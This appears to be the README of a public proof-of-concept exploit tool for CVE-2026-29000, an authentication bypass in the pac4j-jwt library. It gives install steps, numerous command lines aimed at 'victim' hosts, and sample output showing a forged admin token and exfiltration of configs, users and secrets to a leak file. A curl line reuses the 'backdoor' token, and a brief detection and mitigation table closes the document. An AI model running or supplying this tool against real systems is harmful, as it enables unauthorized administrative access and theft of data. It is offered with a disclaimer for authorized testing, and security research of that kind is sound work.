
CVE-2026-29000 – pac4j-jwt Authentication Bypass (🔥 CVSS 10.0). One-click admin forge via public key JWE wrapping. Leaks configs, users, secrets. Keep-alive, proxy, custom JWKS.⚙️ Educational PoC Exploit tool.
CVE-2026-29000 - One-Click Admin Forge via JWT alg:none + JWE Encryption
This exploit weaponizes CVE-2026-29000, a critical CVSS 10.0 vulnerability in the pac4j-jwt library. By extracting the server's public JWKS key and forging an encrypted JWE token with alg: none, it achieves complete authentication bypass and grants full administrative privileges in one click.
alg:none JWT, wraps in server's own public key| Library | Affected Versions | Patched Versions |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
⚠️ Disclaimer: This tool is for authorized security testing and red-team engagements only.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requirements.txt:
text
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
🚀 Usage
Basic One-Shot Exploit
bash
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
bash
python exploit.py -t https://legit.com:8443 --ssl-verify
⚙️ Command Line Arguments
Argument Short Required Default Description
--target -t Yes - Target URL (e.g., https://example.com:8443)
--jwks -k No auto-detect Custom JWKS endpoint path
--output -o No None Save forged JWE token to file
--leak -l No leaked_TIMESTAMP.txt Save leaked data to file
--verbose -v No False Enable debug output
--proxy -p No None HTTP/HTTPS proxy
--user-agent -ua No Mozilla/5.0... Custom User-Agent
--no-keep-alive - No False Disable session keep-alive
--delay - No 5.0 Keep-alive ping interval (seconds)
--max-retries - No 3 Max retries per failed request
--ssl-verify - No False Verify SSL certificates
📸 Example Output
text
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
╔══════════════════════════════════════════════════════════════════════════════╗
║ CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit ║
║ The Educational One‑Click Admin Forge ║
║ CVSS 10.0 - CRITICAL ║
╚══════════════════════════════════════════════════════════════════════════════╝
[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key
[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe
[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me
[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt
[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired
🧠 How It Works
text
┌─────────────────────────────────────────────────────────────────┐
│ STAGE 1: Public Key Acquisition │
│ ├── Discover JWKS endpoint (15+ known paths) │
│ ├── Fetch JWK containing RSA public key │
│ └── Convert JWK → PEM format │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 2: Token Forging │
│ ├── Create JWT with alg: "none" │
│ ├── Inject admin claims (ROLE_ADMIN, admin: true) │
│ └── Encrypt JWT into JWE using server's public key │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 3: Authentication Bypass │
│ ├── Send JWE as Bearer token │
│ ├── Test 8+ protected endpoints │
│ └── Extract session cookie │
├─────────────────────────────────────────────────────────────────┤
│ STAGE 4: Information Exfiltration │
│ ├── Enumerate 20+ sensitive API paths │
│ ├── Collect configs, users, secrets, environment │
│ └── Save all to leak file │
├─────────────────────────────────────────────────────────────────┤
│ Keep-Alive: Ping /api/ping every N seconds │
└─────────────────────────────────────────────────────────────────┘
🔧 Manual Token Usage
After exploitation, use the saved JWE token with curl:
bash
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users
🛡️ Detection & Mitigation
Detection Method Indicator
Log Analysis JWT with alg: none in audit logs
Network Monitoring JWKS endpoint requests from unknown IPs
Version Check curl /actuator/info | grep pac4j
Mitigation:
Update pac4j-jwt to patched versions (≥5.1.5, ≥4.5.8, ≥3.18.6)
Disable alg: none support in JWT validator
Implement strict JWE validation
Monitor for anomalous JWT structures